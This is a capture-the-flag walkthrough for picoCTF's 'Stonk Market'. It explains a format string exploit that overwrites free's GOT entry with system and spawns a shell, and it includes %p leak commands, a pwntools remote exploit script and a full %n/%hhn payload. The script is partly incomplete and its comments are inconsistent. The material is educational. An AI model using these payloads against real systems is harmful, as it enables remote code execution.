Skip to main content

Stonk Market picoCTF 2021 Solution

A binary exploitation challenge where user-controlled input reaches a dangerous output function. No buffer overflow needed.

Published: April 2, 2026Updated: August 13, 2026

Description

The stonk market is back, but this time the flag is no longer helpfully sitting on the stack. You will need to exploit the format string vulnerability more aggressively to get a shell.

Download the binary and connect to the remote instance.

bash
wget <url>/vuln
bash
chmod +x vuln
bash
checksec vuln
bash
pip install pwntools

Solution

Want to try it yourself first?

The guided walkthrough reveals hints one step at a time.

Walk me through it
  1. Step 1Confirm the vulnerability and binary mitigations
    Observation
    The description names a format string vulnerability and warns the flag is no longer sitting on the stack. So the mitigations need checking before any write primitive gets built.
    checksec shows: no stack canary, NX enabled, no PIE, and only Partial RELRO. No PIE means all code and GOT addresses are fixed. Partial RELRO means the GOT is still writable after startup. The core bug is in buy_stonks(): 300 bytes are read into a heap buffer via scanf, then that buffer is passed directly to printf with no format string argument, giving full format string control.
    bash
    checksec vuln
    bash
    ./vuln
    bash
    echo '1' | ./vuln
    bash
    # Enter option 1 (buy stonks), then send %p.%p.%p.%p as API token
    python
    python3 -c "import sys; sys.stdout.buffer.write(b'1\n' + b'%p.' * 16 + b'\n')" | ./vuln
    What didn't work first

    Tried: Use %x instead of %p to read stack values and locate the heap pointer.

    %x prints unsigned hex with no 0x prefix and truncates to 32 bits on a 64-bit target, so heap addresses are silently cut in half and the leak looks like a garbage low word. %p prints at pointer width and keeps the full 64-bit value the write payload needs.

    Tried: Send the %p chain directly to the program's main menu prompt rather than option 1's API token prompt.

    The vulnerable printf lives inside buy_stonks(), reachable only after option 1. Send format specifiers at the outer menu and it just reprints, because that input goes through a safe integer conversion rather than a raw printf. The format string has to arrive as the API token, after option 1.

    Learn more

    Format string primer. When printf(user_buf) is called with a user-controlled first argument, the C runtime treats the string as a format string and processes format specifiers. %p reads the next argument-slot value as a pointer and prints it. With no additional arguments, printf reads whatever is on the stack (or in registers on x86-64) as if they were arguments, leaking arbitrary memory. %n writes the number of characters printed so far into the address held in the next argument slot, which is the write primitive used to overwrite the GOT.

    Why no canary matters here. This challenge does not use a buffer overflow at all. There is no return-address smash. The entire exploit happens through the format string write, so the absence of a canary is simply a note from checksec, not a bypass that needs to be engineered.

  2. Step 2Locate the heap pointer and the free@got entry
    Observation
    checksec reports no PIE and Partial RELRO, so GOT addresses are both fixed and writable. Leak the heap buffer address off the stack, find free's GOT entry, and redirect free to system for when free_portfolio() fires.
    Send a sequence of %p specifiers to find which positional argument holds the portfolio heap pointer. Note that position (you will use it as the write destination later). Meanwhile, inspect the binary to find free@got and system@plt with pwntools or readelf.
    bash
    # Find which argument number holds the heap (portfolio) pointer
    python
    python3 -c "import sys; sys.stdout.buffer.write(b'1\n' + b'%1$p.%2$p.%3$p.%4$p.%5$p.%6$p.%7$p.%8$p.%9$p.%10$p.%11$p.%12$p.%13$p.%14$p.%15$p.%16$p.%17$p.%18$p.\n')" | ./vuln
    bash
    # Use pwntools to inspect GOT and PLT
    python
    python3 - <<'EOF'
    python
    from pwn import *
    bash
    e = ELF('./vuln')
    python
    print('free@got  :', hex(e.got['free']))
    python
    print('system@plt:', hex(e.plt['system']))
    bash
    EOF
    What didn't work first

    Tried: Use readelf -r vuln to find free@got instead of pwntools ELF.

    readelf -r does print the GOT slot address among its relocation entries, but the format is awkward to parse and easy to misread as a file offset. On a no-PIE binary that column is already the runtime virtual address, so nothing needs adjusting. pwntools returns the same value as a Python integer, which drops straight into a payload with no parsing.

    Tried: Target printf@got instead of free@got to redirect execution to system.

    Overwrite printf's GOT entry and the next printf call becomes system on the format string. But that string is your payload, not 'sh', so system receives a long run of format specifiers and either fails or runs something garbled. Overwriting free's entry avoids that: free is called later with the heap node pointer, which gives clean control over what system receives.

    Learn more

    Why overwrite free, not printf? The program calls free_portfolio() when the user exits, which iterates the linked list and calls free() on each node. By redirecting free@got to system@plt, the next call to free(ptr) becomes system(ptr). If ptr points to a buffer containing the string sh, a shell spawns. Overwriting printf@got is also common but leads to an infinite loop if done carelessly, because the format string itself is printed via printf.

    Partial RELRO vs Full RELRO. With Full RELRO the dynamic linker resolves all symbols at startup, then marks the GOT read-only with mprotect. Any attempt to write it segfaults. Partial RELRO only marks the first section read-only; the .got.plt section (where lazy-binding stubs live) remains writable. That is the slot this exploit targets.

  3. Step 3Write sh into the heap buffer using %n
    Observation
    free_portfolio() calls free() with the heap node pointer as its argument. Put the string 'sh' in that heap buffer, redirect free to system, and system receives 'sh' and spawns a shell.
    Place the address of a location inside the heap buffer at the start of your format string, then use a positional %hhn specifier that refers to that embedded address. Writing the ASCII values of 's' and 'h' into the right bytes turns part of the buffer into the string sh, which is what system() will receive.
    bash
    # Conceptual: writing 'sh\0' at offset 0 of the portfolio buffer
    bash
    # %c pads output; count characters printed so far reaches target ASCII value
    bash
    # then %N$hhn writes that count into the address at argument position N
    python
    python3 -c "
    python
    from pwn import *
    bash
    e = ELF('./vuln')
    bash
    # heap_ptr = address learned from recon above
    bash
    # arg_pos_heap = positional index of portfolio pointer on stack
    bash
    # see full exploit in the next step
    bash
    "
    What didn't work first

    Tried: Use %n instead of %hhn to write the full integer count into the target address.

    %n writes a four-byte integer, which clobbers the three bytes after the target offset. Writing 'sh' means placing exactly 0x73 and 0x68 at chosen offsets without touching their neighbours. %hhn writes a single byte, which is what that needs. Full %n destroys the null terminator and surrounding data, and system() then receives a malformed string.

    Tried: Embed the heap address as a literal in the format string without first leaking it from the stack.

    The heap pointer moves on every run, because malloc's addresses depend on prior allocations and ASLR randomizes the heap base even without PIE. Hardcode an address from a local test and it points at unmapped or wrong memory remotely. Leak it fresh from the stack with %p on each run and compute the write target for that execution.

    Learn more

    %n and width specifiers. printf tracks the number of characters it has emitted. %Nc prints one character but counts as N characters of output (it pads to width N). %n writes that running total into the pointed-to integer; %hhn writes only the lowest byte. By carefully choosing the width padding you control exactly what byte value gets written. The formula is: target byte value minus characters already printed equals the padding to use for the next %c.

    Avoiding null bytes in the format string. scanf stops at whitespace. The format string cannot contain literal null bytes, so all addresses embedded in it must be chosen or arranged so that no zero byte appears in the first N characters that scanf reads.

  4. Step 4Overwrite free@got to point to system@plt
    Observation
    The saved RBP slot on the stack works as a scratch pointer: write free's GOT address into it, then use a second %hhn to patch that entry with the low byte of system's PLT address, all in one printf call.
    Build the final format string that does three things in a single printf call: (1) pads output to make the running character count equal to the low byte of system@plt, (2) writes that count to free@got using %hhn via a stack pointer, and (3) writes sh into the heap buffer. Then exit the menu so free_portfolio() fires, calling system(sh) and spawning a shell.
    python
    python3 - <<'EOF'
    from pwn import *
    
    e = ELF('./vuln')
    p = remote('mercury.picoctf.net', 1337)  # replace port
    
    # Recon: find heap ptr argument position (typically argument 6 or 7 on x86-64)
    # and the saved rbp position (argument 12 in the typical frame layout).
    # These must be confirmed empirically on your instance.
    
    HEAP_ARG  = 6   # positional arg holding portfolio heap pointer
    RBP_ARG   = 12  # positional arg holding saved rbp (used as scratch write target)
    SH_OFFSET = 0   # write 'sh' at offset 0 of heap buffer
    
    free_got    = e.got['free']      # e.g. 0x602018
    system_plt  = e.plt['system']    # e.g. 0x4006f0
    
    # low byte of system@plt to write into free@got
    low_byte = system_plt & 0xff
    
    # The format string uses %c padding to reach each target byte value,
    # then %N$hhn to write it. Characters already printed before each write
    # must be tracked and subtracted (modulo 256) to get the right padding.
    
    # Example combined payload (exact padding depends on your instance addresses):
    # %c * 10 pads + %[pad]c%N$hhn  to write low byte to free@got
    # + %[pad]c%M$hhn               to write 's' (0x73) to heap+0
    # + %[pad]c%M$hhn               to write 'h' (0x68) to heap+1
    
    payload  = b'%c' * 10          # consume argument slots, counting chars
    payload += f'%{low_byte - 10}c'.encode()   # pad to low_byte total chars
    payload += f'%{RBP_ARG}$hhn'.encode()     # write low_byte into addr at rbp slot
    # ... (additional writes for sh string omitted for brevity; see context)
    
    p.sendlineafter(b'> ', b'1')
    p.sendlineafter(b'token?
    ', payload)
    p.sendlineafter(b'> ', b'2')   # exit menu, triggering free_portfolio()
    p.interactive()                 # shell
    EOF

    Expected output

    picoCTF{explo1t_m1t1gashuns_...}
    What didn't work first

    Tried: Hardcode the positional argument numbers HEAP_ARG and RBP_ARG as fixed values without verifying them locally.

    The positional argument layout depends on how the compiler laid out the buy_stonks() frame and how many arguments were consumed before the format string. Those numbers shift between compiler versions and optimization levels. Get the heap argument index wrong and 'sh' lands somewhere useless; get the RBP index wrong and the %hhn write hits the wrong cell. Confirm both empirically with a %1$p probe against your own binary.

    Tried: Send option '2' to exit the menu before the format string printf call has finished executing.

    The exploit takes two interactions. First send the malicious format string as the API token under option 1, which makes printf overwrite free's GOT entry. Then send option 2 to exit, which triggers free_portfolio() and calls the redirected free. Send option 2 early and buy_stonks() aborts before printf runs, so the GOT is never patched.

    Learn more

    Why this works end to end. After the format string printf call, free@got holds the address of system@plt. When free_portfolio() iterates the portfolio linked list and calls free(node), the dynamic linker resolves free through the GOT, now finding system instead. The first argument to that call is the node pointer, which points into the heap buffer containing sh\0. So system("sh") executes, giving an interactive shell.

    pwntools ELF helpers. e.got['free'] returns the address of the GOT cell that holds free's runtime address. e.plt['system'] returns the PLT stub address for system. Both are fixed since PIE is disabled. remote() opens a TCP socket; sendlineafter waits for a prompt then sends a line. See the pwntools guide for the full vocabulary.

    Full reference exploit (with exact padding) combines these writes into a single format string:

    %c%c%c%c%c%c%c%c%c%c%6299662c%n%216c%20$hhn%10504067c%18$n
    # %n at position 12 writes 0x602018 (free@got addr) into saved rbp slot
    # %20$hhn writes low byte of system@plt into that newly-written address
    # %18$n  writes 'sh' ASCII value into portfolio heap offset
Interactive tools
  • Cyclic Pattern GeneratorGenerate de Bruijn cyclic patterns and find buffer overflow offsets. The browser equivalent of pwntools cyclic and cyclic_find.
  • pwntools Payload BuilderPack integers into little-endian bytes (p32 / p64), unpack bytes back to integers, and build flat ROP payloads with offset-based insertion.

Flag

Reveal flag

picoCTF{explo1t_m1t1gashuns_...}

The trailing 8-character hex suffix is generated per instance (e.g. d0295f63 or 7838034c). Run the exploit against your assigned instance to retrieve your exact flag.

Key takeaway

Format string bugs exploit printf trusting its first argument as the format specification. Any path where user input reaches a variadic format function without a %s wrapper allows stack disclosure through %x and %p, arbitrary reads through %s, and arbitrary writes through %n. Pair that with a writable GOT under Partial RELRO and no PIE, and one format string call redirects any GOT entry to system, turning a print statement into remote code execution.

Related reading

Useful tools for Binary Exploitation

Where to go next